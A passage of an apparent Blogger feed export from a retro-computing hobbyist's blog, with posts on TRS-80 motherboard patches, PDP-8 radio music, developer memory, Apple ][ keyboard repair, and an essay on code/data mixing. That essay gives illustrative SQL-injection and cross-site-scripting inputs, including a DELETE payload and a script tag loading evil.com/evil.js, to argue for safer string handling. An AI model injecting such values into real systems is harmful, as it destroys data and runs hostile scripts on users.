src='https://blogger.googleusercontent.com/tracker/5680951-7704598130360186879?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/7704598130360186879/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=7704598130360186879' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/7704598130360186879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/7704598130360186879'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/02/hidden-cost-of-internet.html' title='The Hidden Cost of the Internet'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_RKccMqogNXc/R8gokfEFyXI/AAAAAAAAACI/9YhBtcplj3o/s72-c/dialogic-restart.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-4504096838224861940</id><published>2008-02-26T19:28:00.010-06:00</published><updated>2008-02-26T21:15:36.122-06:00</updated><title type='text'>This Really Stinks - 80</title><content type='html'>&lt;br/&gt;&lt;br /&gt;This is kind of funny:&lt;br /&gt;&lt;br /&gt;As part of my antique computer hobby, I decided to learn more about the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;TRS&lt;/span&gt;-80 series of computers from Radio Shack. The online articles I read about &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;TRS&lt;/span&gt;-80 were not encouraging...pointing out major bugs and flaws that plagued &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;TRS&lt;/span&gt;-80 computers. And some of the flaws were brain-dead mistakes like not &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;de&lt;/span&gt;-bouncing the signal from the keyboard contacts...thus resulting in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;rrreeeppeeeaaatttiinngg&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;ccchhaaarraaacctteerrs&lt;/span&gt; as you typed. Someone flunked Circuits 101.&lt;br /&gt;&lt;br /&gt;Well, I decided to get a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;TRS&lt;/span&gt;-80 Model 4 off eBay. I figured that by the 4&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;th&lt;/span&gt; model they would have gotten it right. I completely disassembled it, and the first thing I noticed is that the computer is separated in 4 major sub-systems that are connected by tons of nasty cabling, and the motherboard has more shielding than a microwave oven. This is not encouraging.&lt;br /&gt;&lt;br /&gt;But the most discouraging part is the mass of ugly patches that were applied to the motherboard in post-production. It's not unheard of for an electronics maker to have to install a small fix to correct some minor problem that was discovered after the components already rolled off the assembly line. Usually this would be to attach an extra capacitor somewhere to reduce noise, or put in a patch line to sync up two signals.&lt;br /&gt;&lt;br /&gt;You can always tell when there has been a post-production patch, because you'll see an additional wire or component that have been manually soldered that clearly weren't part of the original etching.&lt;br /&gt;&lt;br /&gt;Well, here is what the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;TRS&lt;/span&gt;-80 Model 4 motherboard looks like:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_RKccMqogNXc/R8TDMdzR6sI/AAAAAAAAAB4/yI59Lg9k7TQ/s1600-h/model42.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5171472891053730498" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_RKccMqogNXc/R8TDMdzR6sI/AAAAAAAAAB4/yI59Lg9k7TQ/s400/model42.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;This is just one corner of the board. The whole board has patches. What a mess! (Click on the picture for a larger view.)&lt;/p&gt;&lt;p&gt;There's long blue loopy wires running everywhere, jumping, connecting, and shorting everything in sight. Big loopy wires make great radio antennas, but poor digital circuits, which is maybe why shielding was so important for this computer. You can see a giant yellow wire coming all the way across the motherboard. The yellow wire has been manually soldered to a FLOATING resistor that is connected to the original resistor and a "bonus" diode that is not supposed to be there....and all of this is held together by one big fat blob of solder...sticking up like a great tower of "oops". &lt;/p&gt;&lt;p&gt;You can see in the picture that some of the resistors have been totally shorted by blue wires. Why did they even bother to leave the resistor in? Maybe to serve as convenient soldering points for the jump wires? Some of the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;IC&lt;/span&gt; chips have multiple teeth knocked out...presumably to completely bypass the original etching? In the background you have a tall add-on capacitor that is soldered right on top of another capacitor...and yet they put rubber tubing on the leads so that it wouldn't touch anything else. (???) But the Tower of Oops has no shielding. &lt;/p&gt;&lt;p&gt;There are lots of nuggets of "oops" across the entire motherboard, many of which are continued on the under side of the motherboard where there are even more loopy wires and added components. &lt;/p&gt;&lt;p&gt;So as quickly as I picked up a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;TRS&lt;/span&gt;-80, I'm abandoning it. This is not a computer I want to mess with on any kind of regular basis. This thing is FAR too difficult to take apart, the motherboard is full of patches, and all the chips are soldered down. (Compare this to an Apple ][ where there are zero motherboard patches and all the chips are &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;socketed&lt;/span&gt; for easy replacement if they fail.)&lt;/p&gt;&lt;p&gt;If the Radio Shack engineers couldn't figure out how the thing worked, then I have no prayer. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-4504096838224861940?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/4504096838224861940/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=4504096838224861940' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/4504096838224861940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/4504096838224861940'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/02/this-really-stinks-80.html' title='This Really Stinks - 80'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_RKccMqogNXc/R8TDMdzR6sI/AAAAAAAAAB4/yI59Lg9k7TQ/s72-c/model42.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-4541569207668268014</id><published>2008-02-09T22:27:00.000-06:00</published><updated>2008-02-10T11:25:15.655-06:00</updated><title type='text'>Legendary hacks</title><content type='html'>I've spent a fair amount of time learning about the design of lots of antique computers, and I'm often amazed at some of the hackery that took place to make these computers do things that everyone thought was impossible or impractical for its day.&lt;br /&gt;&lt;br /&gt;The entire Apple ][ graphics system comes to mind, and the way it simulated an analog NTSC signal with a digital square wave that could be phased to approximate color signals. (Click &lt;a href="http://www.lazilong.com/apple_II/a2pix/dgr2.htm"&gt;here &lt;/a&gt;for more info).&lt;br /&gt;&lt;br /&gt;But the most legendary hack I have yet come across is the sound system for the PDP-8. This is so weird I had to share. The PDP-8 had no sound card and no speaker. But what the PDP-8 did have was a ton of Electromagnetic Interference. If you tried to listen to an AM radio near a PDP-8, you would hear tons of "chatter" caused by the computer's internal operation. Well, someone figured out how to generate different tones on an AM radio by executing different sets of instructions on the PDP-8.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is a wav file Beethoven's Fifth, as played by a PDP-8 and an AM Radio:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.pdp8.net/sound/fifth.wav"&gt;Beethoven's Fifth&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Here is a YouTube video of a PDP-8 playing music though a radio. This PDP-8 is at the University of Stuttgart computer museum. I can understand some German, but even if you can't speak any German you can figure out most of what he is saying.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.youtube.com/watch?v=uhkv5oHHHY8"&gt;University of Stuttgart's PDP-8&lt;/a&gt;&lt;/p&gt;&lt;p&gt;This is amazing for a number of reasons. First of all, the sound quality is actually pretty darn good for its day, and it would take personal computers many years to do better. Second, this kind of thing would only be possible on a computer that had sufficiently low frequency operations and no multi-tasking. Any modern computer would be way out of the range of an AM Radio.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;This is an amazing thing done at the only point in history at which this thing COULD have been done. That's doubly amazing! There are actually libraries of music for the PDP-8 that use this technique! I haven't found any instances of this technique being used in any PDP-8 games. The classic game "Spacewar" could be played on a PDP-8, but it require an oscilloscope...and that's another legendary hack. :)&lt;br /&gt;&lt;br /&gt;Here is Spacewar on a PDP-1 using an oscilloscope for a "monitor":&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=g56ptrkY3E0"&gt;Spacewar&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-4541569207668268014?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/4541569207668268014/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=4541569207668268014' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/4541569207668268014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/4541569207668268014'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/02/legendary-hacks.html' title='Legendary hacks'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-3552416932139942051</id><published>2007-11-14T08:21:00.000-06:00</published><updated>2007-11-28T08:25:56.483-06:00</updated><title type='text'>Memory is not a constant</title><content type='html'>Here are two rules that all developers MUST learn:&lt;br /&gt;&lt;br /&gt;Rule #1: A human being can easily commit a complicated task to short-term memory.  But for that task to live in long-term memory, it must be repeated very frequently for a duration of about a month, and then somewhat frequently thereafter.&lt;br /&gt;&lt;br /&gt;Rule #2: A human being's memory is proportional to their interest level.  People of equal I.Q. will remember WIDELY variable levels of detail based on their interest level.  There is nothing that can be done to combat this.  Our brains are biologically hard-wired to filter out and "lose" information that isn't interesting to us.  That's how we deal with information overload.&lt;br /&gt;&lt;br /&gt;People in an around technology don't tend to appreciate these rules:&lt;br /&gt;&lt;br /&gt;1) Managers assume that people can be trained now for something they won't be used for 6 more months.  They can't.  Anything complex, like learning a new programming language, must be applied almost immediately and continuously or it will be lost.&lt;br /&gt;&lt;br /&gt;2) Tool admins who use a tool on a regular basis assume that the tool is just as easy for someone to use on an infrequent basis.  It isn't.  If a tool is complex and used infrequently, you'll have to hold the user's hand *every* time they use it.  This is no measure of how smart or dumb a user is.  It's a measure of interest level and frequency of use.  Tools that are used infrequently must be completely intuitive.  When choosing new tools for a team to use, you *must* keep that in mind.  It must either be something they use every day, or it must be something that is drop-dead intuitive.  If it's neither, don't use it.&lt;br /&gt;&lt;br /&gt;3) Developers who have a clear understanding of something complex feel no need to document it because it seems very obvious and easy to remember at the time.  But to other developers it is opaque, as will it be to the original author after a period of time.  A classic example is having a crystal-clear understanding of something complicated in a meeting, and then forgetting it completely after the weekend.&lt;br /&gt;&lt;br /&gt;4) What is interesting to one developer will not be interesting to another developer, and since interest level greatly affects our ability to retain information, there are often great disconnects and battles between developers over which tools are "life savers" vs. which tools are just a pain-in-the-ass.  People who are really into Operating Systems love Linux.  In fact, the more complicated Linux is, the better, because that means more features and more power and more Operating System to "enjoy".  People who don't care about Operating Systems *hate* Linux for all the same reasons.  And then you have the frustrating disconnect between people who evangelize Linux and the people who can't remember the most simple Linux commands to save their lives.&lt;br /&gt;&lt;br /&gt;The typical techie reaction to someone who can't remember how to do something is "Gawd!  What an idiot!"  And that is such an unjustified reaction.  I have been on the other side of that exchange where someone tried to explain complex insurance rules to me (when I worked for an insurance company) but I kept forgetting the rules after a few days.&lt;br /&gt;&lt;br /&gt;I could list many more examples, but I think I've conveyed the concept.  If we keep these rules in mind, it can save us SO much pain and frustration with each other.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-3552416932139942051?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/3552416932139942051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=3552416932139942051' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/3552416932139942051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/3552416932139942051'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/11/memory-is-not-constant.html' title='Memory is not a constant'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-7162202898113761070</id><published>2007-07-31T21:43:00.000-05:00</published><updated>2007-08-07T12:59:13.897-05:00</updated><title type='text'>Apple ][ keyboard repair</title><content type='html'>In a previous posting, I gave some details on how to repair an old Apple ][ keyboard that used individual key switches.&lt;br /&gt;&lt;br /&gt;In this article I'm going to show how to repair a late model (early 80's) switchless keyboard.  It can be a bit more time consuming and painstaking to fix a broken key on a switchless keyboard.  And you might have to be a little more creative if you need to fix a part for which you have no suitable replacement.&lt;br /&gt;&lt;br /&gt;The good news is that switchless keyboards don't require any soldering, so if you are not confident with your soldering skills, then perhaps the switchless keyboards are best for you.&lt;br /&gt;&lt;br /&gt;For either kind of keyboard, it's always a great idea to have a couple of old broken keyboards that you can use for spare parts.  You can find these from broken Apples sold cheaply on eBay.&lt;br /&gt;&lt;br /&gt;First, you remove the screws on the bottom of the computer to lift the frame off the base.  Then you remove the screws that hold the keyboard onto the frame, and disconnect the keyboard from the motherboard.  They keyboard with attached encoder board should come out as a single unit.&lt;br /&gt;&lt;br /&gt;A switchless keyboard will look like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/RrJ-SCjHkwI/AAAAAAAAAA4/Dx8pwWXDXxY/s1600-h/P7300244.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_RKccMqogNXc/RrJ-SCjHkwI/AAAAAAAAAA4/Dx8pwWXDXxY/s400/P7300244.JPG" alt="" id="BLOGGER_PHOTO_ID_5094272976896365314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This one is tan colored.  Your's may be blue.  I've already removed the encoder board by pinching the plastic tabs with the pliers and then just pulling the encoder straight up.&lt;br /&gt;&lt;br /&gt;There are about 19 little screws you have to remove.  Once you remove all the screws, lift the contact board straight up and off.  The contact board is a green circuit board full of contact points.  Sandwiched in between the contact board and the key array is a white sheet of cloth used for insulation.  The cloth has one hole for each key on the keyboard.&lt;br /&gt;&lt;br /&gt;This is a picture of the contact board with the white cloth resting on top:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/RrKH5ijHkzI/AAAAAAAAABQ/JvcMFJ7omkk/s1600-h/P7300228.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_RKccMqogNXc/RrKH5ijHkzI/AAAAAAAAABQ/JvcMFJ7omkk/s400/P7300228.JPG" alt="" id="BLOGGER_PHOTO_ID_5094283551105848114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Under the contact board, you'll see the key array:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/RrKFSyjHkxI/AAAAAAAAABA/t40cVmvQzRQ/s1600-h/P7300198.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_RKccMqogNXc/RrKFSyjHkxI/AAAAAAAAABA/t40cVmvQzRQ/s400/P7300198.JPG" alt="" id="BLOGGER_PHOTO_ID_5094280686362661650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Each key has a copper spring plate (that lifts the key) and a silver contact plate that completes the circuit on the contact board.  The colors don't show up well in this picture because the contact plates are very shiny and they reflect the camera flash away from the camera.  If I point the camera directly into the key array, I only get a picture full of white light reflected back at me.  I wish I knew as much about cameras as I know about old computers!  :)&lt;br /&gt;&lt;br /&gt;Here are the individual pieces that make up a complete key on this kind of keyboard.  From left to right: the contact plate, the spring plate, the key shaft, and they key cap.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/RrKGtijHkyI/AAAAAAAAABI/xqAqXVgy6HY/s1600-h/P7300217.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_RKccMqogNXc/RrKGtijHkyI/AAAAAAAAABI/xqAqXVgy6HY/s400/P7300217.JPG" alt="" id="BLOGGER_PHOTO_ID_5094282245435790114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So this is how you completely disassemble a switchless keyboard down to the individual keys.  At this point, you can examine and fix whatever part of the key is broken.  Spring plates can be bent to increase springiness, contact plates can be bent to improve contact pressure.  The keyshaft can be glued to fix breaks.&lt;br /&gt;&lt;br /&gt;When using glue to fix a broken key or shaft, be sure to use proper model glue (or airplane glue).&lt;span style="font-weight: bold;"&gt;  Do not use super glue!!  &lt;/span&gt;Super glue is positively awful for gluing small delicate plastics.  It forms a brittle bond that won't last.  Gluing plastic to form a strong and lasting bond is very difficult with any glue.  You may be better off finding a replacement piece.  If you are have the right tools, materials, and skills, you can also try and craft a replacement part from from scratch.  The plates don't have to be perfect either.  They only have to somehow complete the circuit when the key is pressed.  The spring plate can be replaced with a plain old coil spring that fits around the key shaft.  The key cap itself will hide any "clever" craftsmanship.&lt;br /&gt;&lt;br /&gt;Putting the whole keyboard back together can be tricky.  Check all the contact plates and make sure none of them are crooked.  Gently place the insulating sheet over the key array so that the holes line up with the keys, and then lay the contact board on top.  I strongly recommend only inserting 2 or 3 of the screws at first.  Tighten those 2 or 3 down, then flip the keyboard over to make sure all the keys are moving freely and popping back up.  Insert 2 or 3 more screws, tighten those down, and check the keys again.  Keep doing this until all 19 screws are in.&lt;br /&gt;&lt;br /&gt;It's very easy for something to line up incorrectly, which will cause a key to get stuck or not work.  And it's a pain to have to remove all 19 screws again to fix that.  So, it's best that you test as much as you can as you go.  Re-attach the encoder board as early as you can so that you can test your keyboard out on a live running computer.  You don't have to reassemble the whole computer yet, just hook the keyboard connector into the motherboard socket, and turn the computer on to try it out.&lt;br /&gt;&lt;br /&gt;Once you have the keyboard working 100%, reattach it to the computer frame, and reattach the frame to the base.  Now you are done.&lt;br /&gt;&lt;br /&gt;Knowing how to repair keyboards is a useful skill for maintaining old computers.  The keys on the keyboard are the primary moving parts on the computer, and as such they will require the most maintenance.&lt;br /&gt;&lt;br /&gt;Any part on any of these old computers is irreplaceable.  There are just no manufactures making new parts of this kind.  Your best defense will always be to have spare chips and parts from broken computers on hand.  But also look for ways to replace old parts with new equivalents.  Drive belts can be replaced with modern stiff rubber bands or other small belts.  Power supplies can be rebuilt or replaced with parts from your local Radio Shack.  ROMs can be copied with EPROM burners, and some companies sell ROM adapters that will let you use modern ROMs in these old ROM sockets.  Most chips on these old computers are just simple logic gates and multiplexers which can also be replaced with parts from an electronics supply store.  Broken etchings on the motherboard can be traced and replaced with thin wire.&lt;br /&gt;&lt;br /&gt;Gather as much documentation as you can on the actual schematics of the old computers, so that you have a good understanding of what chips do what and how.  These old computers are not too complex for one person to know absolutely everything about them.  In some cases they were designed by just one person (like Steve Wozniak).  That's one of the joys of working with these computers compared to modern sophisticated motherboards and CPU's that are designed by large teams of engineers using powerful CAD programs. &lt;br /&gt;&lt;br /&gt;New motherboards are also manufactured by sophisticated machines capable of micro-soldering and multi-layered construction.  These are not computers you can fix with human hands and a soldering gun.&lt;br /&gt;&lt;br /&gt;Having a complete understanding of how these simple computers work allows you to re-invent their functionality in creative ways, and will allow you to keep them well maintained and functional forever.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-7162202898113761070?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/7162202898113761070/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=7162202898113761070' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/7162202898113761070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/7162202898113761070'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/07/apple-keyboard-repair.html' title='Apple ][ keyboard repair'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_RKccMqogNXc/RrJ-SCjHkwI/AAAAAAAAAA4/Dx8pwWXDXxY/s72-c/P7300244.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-5298393376237326919</id><published>2007-07-05T13:54:00.000-05:00</published><updated>2007-07-15T22:08:37.894-05:00</updated><title type='text'>Mixing oil with water (or code with data)</title><content type='html'>&lt;span style="color: rgb(0, 0, 0);"&gt;Delimited data has been one of the most persistent problems in software development as long as I can remember, and yet nobody seems to have identified the larger issue here.&lt;br /&gt;&lt;br /&gt;This is a common practice that persists right up through the year 2007.  Text strings of unknown length are delimited with special characters, quotes, apostrophes, commas, nulls or even XML tags.&lt;br /&gt;&lt;br /&gt;In the most simple example, you put quotes around a string, like "hello", and computers identify the string by looking for the beginning and ending quotes.  This is second-nature to any literate human, and it seems like such a simple and trivial thing to do, but these types of text delimiters are one of the largest sources of faults and vulnerabilities in computer software today.&lt;br /&gt;&lt;br /&gt;At the heart of the problem is the practice of mixing code and data in an unmanaged way.&lt;br /&gt;&lt;br /&gt;The classic example that all developers deal with is text strings used in SQL statements.  In SQL, text strings are delimited with single quotes. An example query that executes a customer search based on a customer's last name would look like this:&lt;br /&gt;&lt;br /&gt;SELECT * from CUSTOMERS where lastName = 'Smith';&lt;br /&gt;&lt;br /&gt;And that works great.  Then a month later your program blows up because someone had a last name with a single quote in the name, like O'Reilly:&lt;br /&gt;&lt;br /&gt;SELECT * from CUSTOMERS where lastName = 'O'Reilly';&lt;br /&gt;&lt;br /&gt;And the computer ralphs because   a) This SQL statement has invalid syntax  and  b) There is no customer with a last name of O anyway.&lt;br /&gt;&lt;br /&gt;So, the best case scenario is that your software crashes on every apostrophe.  A worse case scenario is that a hacker uses this vulnerability to destroy your database by embedding additional commands into the string.&lt;br /&gt;&lt;br /&gt;Example: ask for a customer with a last name of "XYZ'; DELETE * from CUSTOMERS;"&lt;br /&gt;&lt;br /&gt;This causes your SELECT statement to become:&lt;br /&gt;&lt;br /&gt;SELECT * FROM CUSTOMERS where lastName = 'XYZ'; DELETE * from CUSTOMERS;'&lt;br /&gt;&lt;br /&gt;See, you've tricked SQL into executing a DELETE statement by sending the proper character sequence (apostrophe semicolon) that ends the previous statement and starts a new one.  This is called "SQL Injection".  It takes virtually zero skills to do something like this, and the damage caused is catastrophic.  This is one of the most common types of malicious hacks done on internet sites today.  There are ways to get around SQL Injection by using parameterized SQL statements, but there are too many developers who don't know this or forget to do this.&lt;br /&gt;&lt;br /&gt;Using XML tags to delimit data seems more secure...right?  Well, it's definitely more complicated, but it is no more secure.  Even more popular than SQL Injection is a hacking technique called "Cross-Site Scripting".  It works just like SQL Injection in that you provide a data string that contains code for executing a malicious program - only this time you are hacking HTML instead of SQL.&lt;br /&gt;&lt;br /&gt;HTML code for displaying a name might look like this:&lt;br /&gt;&lt;br /&gt;&amp;lt;label&amp;gt;John Doe&amp;lt;/label&amp;gt;&lt;br /&gt;&lt;br /&gt;A malicious hacker takes advantage of this by saving their name as:&lt;br /&gt;&lt;br /&gt;John &amp;lt;script src="evil.com/evil.js"&amp;gt;&amp;lt;/script&amp;gt;Doe&lt;br /&gt;&lt;br /&gt;And thus the HTML generated is:&lt;br /&gt;&lt;br /&gt;&amp;lt;name&amp;gt;John &amp;lt;script src="evil.com/evil.js"&amp;gt;&amp;lt;/script&amp;gt;Doe&amp;lt;/name&amp;gt;&lt;br /&gt;&lt;br /&gt;Since the browser can't reliably tell the difference between code and data, it will execute the embedded JavaScript program.  This JavaScript program can do all manner of bad things to you if you are unfortunate enough to see a page containing this user's name.&lt;br /&gt;&lt;br /&gt;Software development today is practically brimming over with all manner of specs and schemes that involve delimiting text data with special characters or other sequences of text data. This leads to more cases of mayhem and vulnerability than I could ever recount here.&lt;br /&gt;&lt;br /&gt;The very editor I'm typing in right now (here on blogger.com) is giving me fits and problems because of the sample HTML code I wrote above while using this HTML editor.  It can't figure out whether to interpret my example HTML as just text or real HTML commands.  I can't blame blogger.com too much for this, because using HTML to edit HTML is a total blurring of code and data, and it's incredibly difficult to do intelligently.  Again this is an example of the problem I'm talking about:  blending code with data.&lt;br /&gt;&lt;br /&gt;Maybe you think C programmers were so clever by choosing to terminate strings with NULL characters? Well that has lead to one of the biggest sources of security vulnerabilities ever:  Buffer Overruns!&lt;br /&gt;&lt;br /&gt;A browser routine or OS routine that accepts a null-terminated string will patiently keep reading string data until it finds that NULL character. If you are a hacker, you just make sure you never send that NULL character.  You keep sending data until you overflow whatever buffer is being used.  Now you have access to write anything you want directly to the computer's memory - including malicious code to execute.  Just like the browser, the operating system will have a very difficult time telling the difference between code and data.&lt;br /&gt;&lt;br /&gt;I've listed several major examples where delimited strings are, at best, a major problem.  I could also tell frightful tales of thing gone wrong with comma separated values, tab separated values, URL encoding, URL re-writing, URL spoofing, forced directory navigation (dot-dot), tag-based page development, hidden macro commands, function-key activation, etc.&lt;br /&gt;&lt;br /&gt;But I think my point is clear:  Delimited strings are dangerous, and they are a major problem.  Code and data should never be mixed without iron-clad boundary definitions.&lt;br /&gt;&lt;br /&gt;My solution:&lt;span style="font-weight: bold;"&gt; Defined-length strings!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A defined length string enforces a clear boundary between code and data by defining the length of a string outside of the string itself.&lt;br /&gt;&lt;br /&gt;There are many ways of doing this.  Here is one way:&lt;br /&gt;&lt;br /&gt;Instead of  "This is my text"  use   [15]This is my text&lt;br /&gt;&lt;br /&gt;The [15] is code that tells a computer that the following string is 15 characters long.  The computer will read data for 15 characters, no less, no more, and be immune to the data itself containing any special characters.  The 16th character is guaranteed to be the beginning of new code, because the determination of the length of the data is entirely outside of a user's control.  (Think about it.)&lt;br /&gt;&lt;br /&gt;SQL statements could be written as follows:&lt;br /&gt;&lt;br /&gt;SELECT * from USERS where last_name = [8]O'Reilly;&lt;br /&gt;&lt;br /&gt;HTML fields could be written as follows:&lt;br /&gt;&lt;br /&gt;&amp;lt;label length="8"&amp;gt;John Doe&amp;lt;/label&amp;gt;       or      &amp;lt;label&amp;gt;[8]John Doe&amp;lt;/label&amp;gt;&lt;br /&gt;&lt;br /&gt;Now the browser knows that those 8 characters are to be treated as data, not code, no matter what.&lt;br /&gt;&lt;br /&gt;Similar to the way Java automagically adds a NULL character at the end of a String, maybe compilers could be designed to add the length to the beginning of a String.  It could reserve the first 4 bytes of a string for a 32-bit unsigned integer containing the length of the string.  The language could make this implementation fairly transparent to the developer, and even allow for Unicode strings.&lt;br /&gt;&lt;br /&gt;The point is that you force your code to strongly define all of its boundaries.  Once you do that, then the data can safely fall into place without all the hassles and errors and risks we face today.  The data can never "steal control" because the code never relinquishes control to begin with.&lt;br /&gt;&lt;br /&gt;Oh, and by the way, this is not an attack on functional programming.  I know functional programming prides itself on being able to 